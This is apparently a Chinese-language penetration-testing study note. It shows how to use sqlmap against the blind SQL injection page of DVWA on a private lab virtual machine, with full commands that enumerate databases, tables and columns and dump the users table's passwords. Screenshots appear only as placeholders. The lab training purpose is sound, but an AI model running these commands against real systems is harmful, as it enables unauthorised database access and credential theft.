Kali学习笔记-04-利用SQLmap实现SQL注入

Kali学习笔记-04-利用SQLmap实现SQL注入


一、SQLmap简介

SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。
SQLMAP是开源的自动化SQL注入工具,由Python写成,具有如下特点:
1、完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
2、完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
3、在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
4、支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
5、支持自动识别密码哈希格式并通过字典破解密码哈希。
6、支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。
7、支持在数据库管理系统中搜索指定的数据库名、表名和列名
8、当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持下载或上传文件。
9、当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持执行任意命令并回显标准输出。

二、开启OWASP靶机和Kali虚拟机

enter description here
enter description here

enter description here

三、在Kali中登录DVWA

1. 在Kali的浏览器中登录靶机

enter description here
enter description here

2. 进入DVWA

enter description here
enter description here

使用用户名admin和密码admin登录。
enter description here

四、利用SQLmap实现SQL注入

1. 安全等级调整为low

enter description here
enter description here

2. 进入SQL Injection (Blind)页面

2-1. 获取用户名密码

随意输入一个数字,提交
enter description here
输出结果
enter description here

2-2. 在浏览器地址栏复制URL

enter description here
enter description here

F12键打开开发者工具,选中storage,找到cookies,复制其中的PHPSESSID的值。
enter description here

3. 实施注入

3-1. 执行命令

由于浏览器提交方式为get型,sqlmap使用-u命令,将刚才复制的URL和COOKIE写入命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch

enter description here
enter description here

执行之后获取了如下的注入点信息:
enter description here

3-2. 查看数据库

执行命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch --dbs

结果如下:
enter description here
可以看到,有两个可用的数据库。

3-3. 查看当前数据库

执行命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch --current-db

出现如下结果:
enter description here

3-4. 查看数据库中的表

执行如下命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch -D dvwa --tables

出现如下结果:
enter description here

3-5. 查看users表中有哪些列

执行如下命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch -D dvwa -T users --columns

出现如下结果:
enter description here

3-6. 爆破表中userpassword两列

执行如下命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch -D dvwa -T users -C "user,password" --dump

执行结果如下:
enter description here
到这里,我们就从表中得到了用户名和密码的信息。
实验结束。

posted @ 2024-01-31 12:56  南宫二狗  阅读(642)  评论(0编辑  收藏  举报